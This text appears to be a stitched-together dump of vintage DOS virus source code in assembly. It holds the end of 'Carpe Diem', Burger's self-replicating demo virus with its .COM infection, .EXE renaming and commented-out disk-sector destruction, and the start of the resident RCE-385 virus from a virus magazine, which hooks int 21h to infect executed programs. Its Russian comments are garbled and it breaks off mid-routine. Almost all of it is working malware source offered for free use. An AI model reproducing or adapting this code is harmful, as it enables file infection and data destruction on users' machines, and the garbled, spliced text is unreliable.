no_err: ;and jump to the end part
ret
signature db "CARPE DIEM! (c) '93 - Raver/Immortal Riot",0ah,0dh,'$'
country db " Sweden 16/11/93"
filespec db '*.com',0
dot_dot db '..',0
orgbuf db 90h,90h,50h,0c3h ;instructions to exit the
orgbuf2 db 4 dup(0) ;scratch after infection
startbuf db 4 dup(0) ;nop,nop,push ax,ret
end_of_virus:
; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
; The virus code ends here but the point below here (the heap)
; is used to store temporary variables such as the dta-area and
; the starting directory
; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
cseg ends
end start_of_virus

@ -0,0 +1,461 @@
page 70,120
Name VIRUS
;*************************************************************************
; Program Virus Ver.: 1.1
; Copyright by R. Burger 1986
; This is a demonstration program for computer
; viruses. It has the ability to replicate itself,
; and thereby modify other programs
;*************************************************************************
Code Segment
Assume CS:Code
progr equ 100h
ORG progr
;*************************************************************************
; The three NOP's serve as the marker byte of the
; virus which will allow it to identify a virus
;*************************************************************************
MAIN:
nop
nop
nop
;*************************************************************************
; Initialize the pointers
;*************************************************************************
mov ax,00
mov es:[pointer],ax
mov es:[counter],ax
mov es:[disks],al
;*************************************************************************
; Get the selected drive
;*************************************************************************
mov ah,19h ; drive?
int 21h
;*************************************************************************
; Get the current path on the current drive
;*************************************************************************
mov cs:drive,al ; save drive
mov ah,47h ; dir?
mov ah,ah
mov si,si
mov dh,0
add al,1
mov dl,dl
nop ;****
mov dl,al
mov dl,dl
nop ;**** ; in actual drive
lea si,cs:old_path
int 21h
;*************************************************************************
; Get the number of drives present.
; If only one drive is present, the pointer for
; search order will be set to search order + 6
;*************************************************************************
mov ah,0eh ; how many disks
mov dl,0 ;****????
int 21h
mov al,01
cmp al,01 ; one drive?
jnz hups3
mov al,06
hups3: mov ah,0
lea bx,search_order
add bx,ax
add bx,0001h
mov cs:pointer,bx
clc
;*************************************************************************
; Carry is set, if no more .COM's are found.
; Then, to avoid unnecessary work, .EXE files will
; be renamed to .COM file and infected.
; This causes the error message "Program too large
; to fit in memory" when starting larger infected
; EXE programs.
;*************************************************************************
change_disk:
jnc no_name_change
mov ah,17h ; change exe to com
lea dx,cs:maske_exe
int 21h
cmp al,0ffh
jnz no_name_change ; .EXE found?
;*************************************************************************
; If neither .COM nor .EXE is found, then sectors will
; be overwritten depending on the system time in
; milliseconds. This is the time of the complete
; "infection" of a storage medium. The virus can find
; nothing more to infect and starts its destruction.
;*************************************************************************
; mov ah,2ch ; read system clock
; int 21h
; mov bx,cs:pointer
; mov al,cs:[bx]
; mov bx,dx
; nop ;****
; mov cx,2
; nop ;****
; mov dh,0
; int 26h ; write crap on disk
db ' RB2 - LiquidCode <tm> '
;*************************************************************************
; Check if the end of the search order table has been
; reached. If so, end.
;*************************************************************************
no_name_change:
mov bx,cs:pointer
dec bx
mov cs:pointer,bx
mov dl,cs:[bx]
cmp dl,0ffh
jnz hups2
jmp hops
;*************************************************************************
; Get new drive from search order table and
; select it.
;*************************************************************************
hups2:
mov ah,0eh
mov dl,2 ;***** +
int 21h ; change disk
;*************************************************************************
; Start in the root directory
;*************************************************************************
mov ah,3bh ; change path
lea dx,path
int 21h
jmp find_first_file
;*************************************************************************
; Starting from the root, search for the first subdir
; First convert all .EXE files to .COM in the old
; directory.
;*************************************************************************
find_first_subdir:
mov ah,17h ; change exe to com
lea dx,cs:maske_exe
int 21h
mov ah,3bh ; use root dir
lea dx,path
int 21h
mov ah,04eh ;Search for first subdirectory
mov cx,00010001b ; dir mask
lea dx,maske_dir
int 21h
jc change_disk
mov bx,CS:counter
INC BX
DEC bx
jz use_next_subdir
;*************************************************************************
; Search for the next subdir. If no more directories
; are found, the drive will be changed.
;*************************************************************************
find_next_subdir:
mov ah,4fh ; search for next subdir
int 21h
jc change_disk
dec bx
jnz find_next_subdir
;*************************************************************************
; Select found directory
;*************************************************************************
use_next_subdir:
mov ah,2fh ; get dta address
int 21h
add bx,1ch
mov es:[bx],'\ ' ; address of name in dta
inc bx
push ds
mov ax,es
mov ds,ax
mov dx,bx
mov ah,3bh ; change path
int 21h
pop ds
mov bx,cs:counter
inc bx
mov CS:counter,bx
;*************************************************************************
; Find first .COM file in the current directory.
; If there are non, search the next directory.
;*************************************************************************
find_first_file:
mov ah,04eh ; Search for first
mov cx,00000001b ; mask
lea dx,maske_com ;
int 21h
jc find_first_subdir
jmp check_if_ill
;*************************************************************************
; If the program is already infected, search for
; the next program.
;*************************************************************************
find_next_file:
mov ah,4fh ; search for next
int 21h
jc find_first_subdir
;*************************************************************************
; Check if already infected by the virus.
;*************************************************************************
check_if_ill:
mov ah,3dh ; open channel
mov al,02h ; read/write
mov dx,9eh ; address of name in dta
int 21h
mov bx,ax ; save channel
mov ah,3fh ; read file
mov cx,buflen ;
mov dx,buffer ; write in buffer
int 21h
mov ah,3eh ; CLOSE FILE
int 21h
;*************************************************************************
; Here we search for three NOP's.
; If present, there is already an infection. We must
; then continue the search.
;*************************************************************************
mov bx,cs:[buffer]
cmp bx,9090h
jz find_next_file
;*************************************************************************
; Bypass MS-DOS write protection if present
;*************************************************************************
mov ah,43h ; write enable
mov al,0
mov dx,9eh ; address of name in dta
int 21h
mov ah,43h
mov al,01h
and cx,11111110b
int 21h
;*************************************************************************
; Open file for write access.
;*************************************************************************
mov ah,3dh ; open channel
mov al,02h ; read/write
mov dx,9eh ; address of name in dta
int 21h
;*************************************************************************
; Read date entry of program and save for future use.
;*************************************************************************
mov bx,ax ; channel
mov ah,57h ; get date
mov al,0
int 21h
push cx ; save date
push dx
;*************************************************************************
; The jump located at address 0100h of the program
; will be saved for future use.
;*************************************************************************
mov dx,cs:[conta] ; save old jmp
mov cs:[jmpbuf],dx
mov dx,cs:[buffer+1] ; save new jump
lea cx,cont-100h
sub dx,cx
mov cs:[conta],dx
;*************************************************************************
; The virus copies itself to the start of the file
;*************************************************************************
mov ah,40h ; write virus
mov cx,buflen ; length buffer
lea dx,main ; write virus
int 21h
;*************************************************************************
; Enter the old creation date of the file.
;*************************************************************************
mov ah,57h ; write date
mov al,1
pop dx
pop cx ; restore date
int 21h
;*************************************************************************
; Close the file.
;*************************************************************************
mov ah,3eh ; close file
int 21h
;*************************************************************************
; restore the old jump address.
; The virus saves at address "conta' the jump which
; was at the start of the host program.
; This is done to preserve the executability of the
; host program as much as possible.
; After saving itstill works with the jump address
; contained in the virus. The jump address in the
; virus differs from the jump address in memory
;
;*************************************************************************
mov dx,cs:[jmpbuf] ; restore old jmp
mov cs:[conta],dx
hops: nop
call use_old
;*************************************************************************
; Continue with the host program.
;*************************************************************************
cont db 0e9h ; make jump
conta dw 0
mov ah,00
int 21h
;*************************************************************************
; reactivate the selected drive at the start of the
; program.
;*************************************************************************
use_old:
mov ah,0eh ; use old drive
mov dl,cs:drive
int 21h
;*************************************************************************
; Reactivate the selected path at the start of the
; program.
;*************************************************************************
mov ah,3bh ; use old dir
lea dx,old_path-1 ; get old path and backslash
int 21h
ret
search_order db 0ffh,1,0,2,3,0ffh,00,0ffh
pointer dw 0000 ; pointer f. search order
counter dw 0000 ; counter f. nth search
disks db 0 ; number of disks
maske_com db "*.com",00 ; search for com files
maske_dir db "*",00 ; search dir's
maske_exe db 0ffh,0,0,0,0,0,00111111b
db 0,"????????exe",0,0,0,0
db 0,"????????com",0
maske_all db 0ffh,0,0,0,0,0,00111111b
db 0,"???????????",0,0,0,0
db 0,"????????com",0
buffer equ 0e000h ; a safe place
buflen equ 230h ; length of virus !!!!!!
; careful
; if changing !!!!!!
jmpbuf equ buffer+buflen ; a safe place for jump
path db "\",0 ; first path
drive db 0 ; actual drive
back_slash db "\"
old_path db 32 dup(?) ; old path
code ends
end main
;*************************************************************************
; WHAT THE PROGRAM DOES:
;
; When the program is started, the first COM file in the root
; directory is infected. You can't see any changes to the
; directory entries. But if you look at the hex dump of an
; infected program, you can see the marker, which in this case
; consists of three NOP's (hex 90). WHen the infected program
; is started, the virus will first replicate itself, and then
; try to run the host program. It may run or it may not, but
; it will infect another program. This continues until all
; the COM files are infected. The next time it is run, all
; of the EXE files are changed to COM files so that they can
; be infected. In addition, the manipulation task of the virus
; begins, which consists of the random destruction of disk
; sectors.
;*************************************************************************

; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> and Remember Don't Forget to Call <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; ÄÄÄÄÄÄÄÄÄÄÄÄ> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <ÄÄÄÄÄÄÄÄÄÄ
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

@ -0,0 +1,391 @@
;ÛßßßßßßßßßßßßßßßÛ ß ß ÛÛßÛÛßÛÛ
;Û STEALTH group Û° Û ÛßÜ Ûßß Üßß Üßß ßÛß Üßß ÛßÛ Ý Û ÜßÛ Û Üßß Üßß ÛÛ ßß ÛÛ
;Û presents Û° Û Û Û Ûß Ûß Û Û Ûß Û Û Û Û Û Û Û Û ßÛßß ÛÛÛÛÛ ÛÛ
;ÛÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÛ° Þ Þ Þ Þ ÞÜÜ ÞÜÜ Þ ÞÜÜ ÞÜß ßÛ ßÜÛ Þ ÞÜÜ ÞÜÜ ÛÛÛÛÛÜÛÛ
; °°°°°°°°°°°°°°°°° JAN 1995
;
; INFECTED VOICE. Issue 4. January 1995. (C) STEALTH group, Kiev 148, Box 10.
; THE FIRST UNIQUE VIRUS MAGAZINE IN FORMER U.S.S.R.!!!
;
;--- RCE-385 (!).-------------------------------------------------------------
; <20>ª¨¥ ®¤­ ª® ¢à¥¬¥­  ¯®è«¨ - ®¡ì«áï ­¥ª¨© ¤ï¤î誠 Œ®á⮢®© ¨ ­ ¯¨á « ᢮©
;ç¥à⮢᪨ ¤®â®è­ë© AdInf -> ­ã ¨ çâ® ¦¥ ⥯¥àì?Œ-¤ ,⥯¥àì ᨤ¨¬ ¬ë â¥å­®ªàëáë
;¨ á⥭ ¥¬ ¯® ⥬ ¤®¡àë¬ ¢à¥¬¥­ ¬,ª®£¤  ã î§¥à  æ¥«ë© §®®¯ àª ­  ¬ è¨­¥ ¡¥£ «,
;  ®­ - ¡« ¦¥­ ¢ ­¥¢¥¤¥­¨¨,á«î­®î ¡à맦 ,¤®ª §ë¢ «,çâ® ­¥âã â ª¨å §¢¥à¥© ¢ RAM¥.
; € ⥯¥àì ¯®­ áâ ¢¨«¨ ¯à¨¬®ç¥ª ¢á直å - çãâì çâ®,áࠧ㠧 ¢®¯ïâ!„ ¦¥ á⥫§ë
;¯à¨§ ¤ã¬ «¨áì : "€ 祣® íâ® ¬ë ᤥáì ⥫  ᢮¨ ᮪à뢠¥¬,¯àïç áì ª ª *beep ¢
;*beep".ˆ á â¥å ¯®à ¯®è¥« à §« ¤ ¢ á।¥ ‚¨à¬ ª®¢.Šâ® ¯à¥¤« £ ¥â àë«® ¢ § é¨é¥­-
;­ë© ०¨¬ áã­ãâì ¨ ⥬ á ¬ë¬ ¯®¤£«ï¤ë¢ ­¨¥ ¯à¨á¥çì,  ªâ® ¯® ¤®¡à®â¥ ¤ã襢­®©
;®¡¥é ¥â ¯à¨ ॠªæ¨¨ ¤¥â¥ªâ®à  ª ª®£®, «ì áâ®à®¦  ¢¥§¤¥áã饣®,¬ è¨­¥ ¢¨­â
;­  *beep ®¯ã᪠âì!<21>® ¢á¥ íâ® ¯®«­ ï *beep­ï!<21>®á«ã蠩⥠¡à âæë ‚¨à¬ ª¨ --
;­¥ ¢ â¨à ¦¥ áç áâì¥,  ¢ ªà á®â¥  «£®à¨â¬ !!!<21>¥å © «®¢ïâáï ¢ è¨ §¢¥à¨ ¢á直¬¨
;ॢ¨§®à ¬¨,¯ãáâì ä®à¬ â¨â à ᢮¨ ¢¨­âë.<2E>Ž 祬 ¡®«ìè¥ ­ á ⥬ ¬¥­ìè¥ î§¥à®¢!
;(ˆ¡® ¬­®£¨¥ ¨§ ­ á ¥é¥ ­¥ ¯®§ ¡ë«¨ Basic).€ «¥ç¨«ª¨ ¢á直¥ - ®­¨ ­ ¬ §¥¬«î
;à áç¨é îâ,¤«ï ­®¢ëå "¯®á ¤®ª"!
; <20>® ᨥ ¢á¥ 梥â®çª ¬¨ ®¡§ë¢ ¥âáï!€ ¢®â ¯à¥¤á⠢⥠ᥡ¥,çâ® á¬ëè«¥­­ë© ¬ «ë©
;¦¥« ¥â ­ ¯¨á âì ¯¥à¢®¥ ᢮¥ ¯à®¨§¢¥¤¥­¨¥,  ­¥â ã ­¥£® ­¨ ⥮ਨ ­¨ ¬ â¥àëå
;ª®à¥è¥©-‚¨à¬ ª®¢!‚®â ¨ ¯à¨è«®áì ¬­¥ á®áâ ¢«ïâì ¯®á®¡¨¥-¤«ï-­ ç¨­ îé¨å.
;<3B>ë« íâ® ¢¨àãá RCE-666 (¬­®î ¯¨á ­).Aidstest ¥£® ª«¨ç¥â: INFO /666,Web: Die-666.
;­® ¯®â®¬ ®¡à¥§ ¢ ¥£® ¬ «¥­ìª®,¯®«ã稫 ï RCE-385!
; <20> ¤¥îáì,çâ® Ž<> ¤«ï ­®¢¨çª®¢- ã祡­¨ª®¬ áâ ­¥â,  ¤«ï £®á¯®¤ « ¬¥à®¢ - ¤®á⮩-
;­ë¬ ¯®«¨£®­®¬!
;-----------------------------------------------------------------------------
;(c) Light General.Kiev.1995. STEALTH group . For free use!
;-----------------------------------------------------------------------------
cseg segment
assume cs:cseg,ds:cseg
org 100h
start:
nop ; <20>ਧ­ ª § à ¦¥­¨ï .COM ä ©« .
jmp virr
; Ÿª®¡ë § à ¦¥­­ ï ¯à®£à ¬¬ .(‡ ­¨¬ ¥â 30 ¡ ©â).
nop
nop
mov ah,09
lea dx,wrn
int 21h
mov ax,4c00h
int 21h
;--------------------------------------
wrn db 'FRODO LIVES!$'
;--------------------------------------
;################# VIRUS ##################
virr:
call $+3
pop si
sub si,03
;-Hacked mem.-----------------------------------------------------
push si
clc
mov ax,0FEFEh ; <20>஢¥à塞 ¯ ¬ïâì ­  § à ¦¥­­®áâì!
int 21h ; Š®«¨ ¢¨àãá “†… ᨤ¨â ¢ ¬ è¨­¥ â® ®­
jc exit_v ; ¯®¤­¨¬¥â ä« £ CF!
;- ‘«¥¤ãîé ï ç áâì ª®¤  ¯à®¨§¢®¤¨â "®âªãá뢠­¨¥" 512 ¡ ©â ¯ ¬ïâ¨!-------------
; <20>ਭ樯 í⮣® "®âªãá뢠­¨ï" ®á­®¢ë¢ ¥âáï ­  ⮬,çâ® ¯à¨ ¢ë¯®«­¥­¨¨ ¯à®£à ¬¬ë
;á¨á⥬  áâந⠯¥à¥¤ ¥¥ ª®¤®¬ â ª¨¥ ¡«®ª¨ (®¡à â¨â¥ ¢­¨¬ ­¨¥ ­  ¢ë¤¥«¥­­ë¥
;ç áâ¨)
;---(1)--- MCB - Memory Control Block (<28>«®ª ã¯à ¢«¥­¨ï ¯ ¬ïâìî)
; Ž¡ëç­® ¢ â ª¨å ¡«®ª å DOS ®¯¨á뢠¥â ¢ë¤¥«¥­­ë¥ ¯à®£à ¬¬ ¬ ãç á⪨ ¯ ¬ïâ¨!
; ”Ž<E2809D>Œ€ :
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; ‘¬¥é¥­¨¥ ï祩ª¨ ®â ³ „«¨­  ³ <20> §­ ç¥­¨¥
; ­ ç «  ¡«®ª . ³ ³
; ³ ³
; 00 ³ 1b ³ …᫨ á⮨â 'M' â® íâ®â ¡«®ª ­¥ ¯®á«¥¤­¨©
; ³ ³ 'Z' ¯®á«¥¤­¨©.
; 01 ³ 1w ³ ‘¥£¬¥­â­ë©  ¤à¥á (á ª®â®à®£® ¢ë¤¥«¥­ ¡«®ª).
;++++> 03 ³ 1w ³ „«¨­  ¡«®ª  ¢ ¯ à £à ä å (¯ à £à ä = 16 ¡ ©â)
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;„ «ìè¥ ¨¤ãâ ¥é¥ ¤ ­­ë¥,­® ­ á ¨­â¥à¥áã¥â ⮫쪮 íâ®! ÄÄÄÄÄÄÄÄÄÄÄÄ
;
;---(2)--- PSP - Program Segment Prefix (<28>à¥ä¨ªá ¯à®£à ¬¬­®£® ᥣ¬¥­â )
; ‘¤¥áì ᮤ¥à¦¨âáï ¨­ä®à¬ æ¨ï ¤«ï § ¯ã᪠¥¬®© ¯à®£à ¬¬ë!
; ”Ž<E2809D>Œ€ :
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; ‘¬¥é¥­¨¥ ï祩ª¨ ®â ³ „«¨­  ³ <20> §­ ç¥­¨¥
; ­ ç «  ¡«®ª . ³ ³
; ³ ³
; 00 ³ 1w ³ í⮬ á«®¢¥ á⮨⠪®¬ ­¤  int 20h (CD 20h)
;++++> 02 ³ 1w ³ Ž¡é¨© à §¬¥à ¯ ¬ï⨠¢ë¤¥«¥­­ë© ¯à®£à ¬¬¥!
; ³ ³ (<28>ਠ§ ¯ã᪥ ¯à®£à ¬¬ë DOS ¢ë¤¥«ï¥â ¥© ¢áî
; ³ ³ ¯ ¬ïâì "¤® ª®­æ " 640 ª¨«®¡ ©â!)
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;„ «ìè¥ ¨¤ãâ ­¥ ¨­â¥à¥áãî騥 ­ á ¤ ­­ë¥! ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;-- ’ ª ¢®â,®â­¨¬ ï ­¥ª®â®à®¥ §­ ç¥­¨¥ ®â ¢ë¤¥«¥­­ëå ï祥ª,¬ë ¬®¦¥¬ ᤥ« âì
;"¤ëàªã" ¢ áâ àè¨å  ¤à¥á å ¯ ¬ï⨠¨ ¯¥à¥­¥á⨠â㤠 ⥫® ¢¨àãá !
; <20>à ªâ¨ç¥áª ï ॠ«¨§ æ¨ï :
mov ax,ds
dec ax
mov es,ax
sub word ptr es:[03],35 ;* 512b
sub word ptr ds:[02],35 ;* 512b
mov es,ds:[02] ; ES = ᥣ¬¥­â­.  ¤à. "®âªãè." ¯ ¬ïâ¨!
push ds cs
pop ds
xor di,di
mov cx,offset ax_len-offset virr ; „«¨­  ¢¨àãá !
rep movsb ; <20>¥à¥­®á¨¬ ¢¨àãá ¢ "®âª." ¯ ¬ïâì!
;-Install int.----------------------------------------------------
mov al,21h
mov dx,offset int_21h_entry-offset virr
mov si,offset ofs_21h-offset virr
push es
pop ds
call inst_int ; “áâ ­®¢¨¬  ¤à¥á int 21h ­  ᢮©
; ®¡à ¡®â稪.
pop ds
exit_v:
push ds
pop es
pop si
;- COM or EXE ?---------------------------------------------------
; <20>஢¥à¨¬ ¨§ ª ª®£® ä ©«  ¬ë áâ à⮢ «¨?
; <20>â® ¤¥« ¥âáï ¯®â®¬ã,çâ® ¯¥à¥¤ ç  ã¯à ¢«¥­¨ï .COM ¨«¨ .EXE ¯à®£à ¬¬¥
; ¯à®¨á室¨â ¯® à §­®¬ã!
cmp byte ptr cs:[si+offset origin_2_byte-offset virr+1],'Z'
jz L_exe
;-ocáâ ­®¢¨âì âਠ¡ ©â  ‡.<2E>.-------------------------------------
; “ .COM ä ©«  ­ ¤®¡­® ¢®ááâ ­®¢¨âì ç¥âëॠ¯¥à¢ëå ¡ ©â  ª®â®àë¥ ¬ë ¨§¬¥­¨«¨
; ¯à¨ § à ¦¥­¨ï ä ©«  ­  ¤¨áª¥!(Œë § ¯¨á «¨ â㤠 ª®¬ ­¤ã ¯¥à¥å®¤  ­  ¢¨àãá).
mov di,100h
add si,offset origin_2_byte-offset virr
; SI =  ¤à¥á ¡ãä¥à  á ®à¨£¨­ «ì­ë¬¨ ¡ ©â ¬¨ .COM ä ©« !
push di
movsw
movsw
xor ax,ax
ret ; Go to infected com program.
;-Loaded from exe file.--------------------------------------------
; € ¢®â í⮠ᯮᮡ  ªâ¨¢ æ¨¨ .EXE ¯à®£à ¬¬ë!
; ‘¤¥áì ¯à®¨á室¨â ¢á¥ ¨­ ç¥ : â.ª. ¯à¨ § à ¦¥­¨¨ ä ©«  ¬ë ¨§¬¥­¨«¨ ¢ ­¥¬
; § £®«®¢®ª ª®â®àë© ãª §ë¢ ¥â á ª ª®£®  ¤à¥á  íâ®â ä ©« § ¯ã᪠îâ!
; (Šâ® ­¥ §­ ¥â,çâ® â ª®¥ § £®«®¢®ª .EXE ä ©«  ¯ãáâì ®¡à â¨âáï ª ª­¨£¥ <20>.€¡¥«ï
; "Ÿ§ëª €áᥬ¡«¥à  ¤«ï IBM PC ¨ ¯à®£à ¬¬¨à®¢ ­¨ï" (áâà. 362)
L_exe:
mov ax,es
add ax,10h
add cs:[offset CS_file-offset virr][si],ax
; ’ ª ¬ë ¢ëç¨á«¨«¨ ᥣ¬¥­â ¢ ª®â®àë© ­ ¤® ¯¥à¥¤ âì ã¯à ¢«¥­¨¥!
db 0eah ;-
IP_file dw ? ;- JMP Far CS_file:IP_file
CS_file dw ? ;-
;------------------------------------------------------------------
; € í⮠ᮡá⢥­­® ç áâì ®â¢¥ç îé ï §  § à ¦¥­¨¥ ¯à®£à ¬¬!
int_21h_entry proc
cmp ax,0FEFEh ;-…᫨ ᮡà â á¯à è¨¢ ¥â ® ­ «¨ç¨¨
jnz _@1 ;-᢮¥© த­¨ â® ¤ âì ¤à㦥᪨© ®â¢¥â.
stc ;-
int_24h_entry:
mov al,03
retf 2
_@1:
cmp ax,4b00h ; …᫨ DOS ¯ëâ ¥âáï ¢ë¯®«­¨âì ¯à®£à ¬¬ã
jnz exit_all ; â® ¬ë § à ¦ ¥¬ ¥¥!
jmp infecting ;
exit_date:
mov ax,5701h ; “áâ ­®¢ª  áâ à®© ¤ âë ä ©« .
mov cx,es:[di+13] ;<- Time
mov dx,es:[di+15] ;<- Date
int 21h
exit_close:
mov ah,3eh ; <20>¥à¥¤ ¯¥à¥¤ ç¥© ã¯à ¢«¥­¨ï DOS'ã -
int 21h ; § ªà®¥¬ ä ©« ª®â®àë© § à ¦ «¨!
exit_pop:
lds dx,cs:[offset ofs_24h-offset virr]
mov ax,2524h ; “áâ ­®¢¨¬ ­  ¬¥áâ® int 24h
int 21h
pop bp
pop ds
pop es
pop di
pop si
pop dx
pop cx
pop bx
pop ax
exit_all:
db 0eah
ofs_21h dw 0000
seg_21h dw 0000
int_21h_entry endp
;-------------------------------------------------------------------
infecting:
push ax
push bx
push cx
push dx
push si
push di
push es
push ds
push bp
push ds
push dx
;------------------------------------------------------------------
; <20>¥à¥áâ ¢¨¬  ¤à¥á ¢¥ªâ®à  int 24h ­  ­ è ®¡à ¡®â稪 - â.¥. ­  ¯à®áâãî
; § £«ãèªã,ª®â®à ï ¢ á«ãç ¥ "§ ª«¥¥­®©" ¤¨áª¥âë ­¥ ¯®§¢®«¨â DOS'ã ªà¨ç âì :
; Write protect error ...
mov al,24h
mov si,offset ofs_24h-offset virr
mov dx,offset int_24h_entry-offset virr
call inst_int
pop dx
pop ds
;-Open file...-----------------------------------------------------
mov ax,3d00h
int 21h
jc exit_pop
;-Read header (EXE) or first 4 byte (COM).-------------------------
mov bh,3fh
xchg ax,bx
mov cx,18h
push cs
pop ds
mov dx,offset origin_2_byte-offset virr
mov si,dx
int 21h ; ‘ç¨â뢠¥¬ ¢ ¡ãä¥à 24 ¯¥à¢ëå ¡ ©â  ¯à®£à ¬¬ë!
_1:
jc exit_close ; …᫨ ®è¨¡ª ,â® § ªà®¥¬ ä ©« ¨ ¢ë©¤¥¬.
;-Look SFT file!-----------------------------
; ‘®¡á⢥­­® £®¢®àï, ¤ «¥¥ ¨¤¥â "¨§î¬¨­ª " ¢¨àãá  - ¨§-§  ­¥¥ ®­ ¨¬¥¥â â ª¨¥
;¬ «ë¥ à §¬¥àë!ˆ â ª,çâ® ¦¥ íâ® :
; ˆ§¢®«¨â¥ «¨ ¢¨¤¥âì ï ¢¥á쬠 «¥­¨¢,¨ ­¥ ®ç¥­ì «î¡«î ¢®§¨âáï á â ª¨¬¨
; àã⨭ ¬¨ ª ª á­ï⨥ ¨ ãáâ ­®¢ª   âਡã⮢,¯¥à¥¬¥é¥­¨¥ ä ©«®¢®£® 㪠§ â¥«ï!
; € ¯®á¥¬ã à áª®¯ « ï ¢­ãâ७­îî ¯®¤à®¡­®áâì DOS' !
; (Ž­  㯮¬¨­ ¥âáï ¢ à ¡®â¥ Š.ƒ.”¨­®£¥­®¢  "‘ ¬®ãç¨â¥«ì ¯® á¨á⥬­ë¬ äã­ªæ¨ï¬
; MS-DOS" (áâà. 67) (  â ª ¦¥ ¢ í«¥ªâà®­­®¬ á¯à ¢®ç­¨ª¥ Help PC)
; (‚¯¥à¢ë¥ ¯à¨¬¥­¥­® ¢ RC-0-512 (666,Written by Dark Avenger.)
; <20>â® SFT -- System File Table - (‘¨á⥬­ ï â ¡«¨æ  ®âªàëâëå ä ©«®¢.)
;Ž­  ᮧ¤ ¥âáï ¤«ï ¢­®¢ì ®âªà뢠¥¬®£® ä ©«  ¨ ᮤ¥à¦¨â ¨­ä®à¬ æ¨î ¨á¯®«ì§ã¥¬ãî
;­¥¯®á।á⢥­­® ¯à®æ¥¤ãà ¬¨ § ¯¨á¨/áç¨â뢠­¨ï DOS' !!!
;
; ”Ž<E2809D>Œ€ :
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; ‘¬¥é¥­¨¥ ï祩ª¨ ®â ³ „«¨­  ³ <20> §­ ç¥­¨¥
; ­ ç «  ¡«®ª .(„¥á.) ³ ³
; ³ ³
; 00 ³ 1w ³ Š®«-¢® ¤¥áªà¨¯â®à®¢ § ªà¥¯«¥­­ëå §  ä ©«®¬
; 02 ³ 1b ³ <20>¥¦¨¬ ¤®áâ㯠 § ¤ ­­ë© ¯à¨ ¥£® ®âªàë⨨
; 04 ³ 1b ³ €âਡãâë ä ©« 
; 11 ³ 1w ³ <20>®¬¥à ¯¥à¢®£® ª« áâ¥à  ä ©« 
; 13 ³ 1w ³ ‚à¥¬ï ¯®á«¥¤­¥© ¬®¤¨ä¨ª æ¨¨ ä ©« 
; 15 ³ 1w ³ „ â  ...
; 17 ³ 2w ³ „«¨­  ä ©« 
; 21 ³ 2w ³ “ª § â¥«ì ¢ ä ©«¥
; 32 ³ 11b ³ ˆ¬ï ¨ à áè¨à¥­¨¥ ä ©«  (¡¥§ '.')
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
mov ax,1220h ; ‘¥© ãç áâ®ç¥ª ª®¤  ¯®§¢®«ï¥â
push bx ; ¯®«ãç¨âì  ¤à¥á SFT ¢ ¯ à¥ ES:DI
int 2fh ;
mov bl,es:[di] ;
mov ax,1216h ;
int 2fh ;
pop bx ;
mov byte ptr es:[di+2],02 ; <>ˆŒ€<C592>ˆ…!<21>⨬ ¤¥©á⢨¥¬ ¬ë
;ᤥ« «¨ â ª,ç⮠⥯¥àì DOS
;áç¨â ¥â,çâ® ä ©« ®âªàëâ ¤«ï
;§ ¯¨á¨/áç¨â뢠­¨ï!
; .¥. ­ ¬ ­¥ ¯®­ ¤®¡¨«®áì
;á­¨¬ âì  âਡãâë ä ©« !
mov bp,es:[di+17] ; BP = file len!
;---------------------------------------------
; ’¥¯¥àì ¯à®¢¥à塞 ¡ ©âë ª®â®àë¥ áç¨â «¨ ¢ ¡ãä¥à.
lodsb
dec si
cmp al,'M' ; MZ - ¯à¨§­ ª ⮣®,çâ® íâ® .EXE ä ©«!
jz _EXE
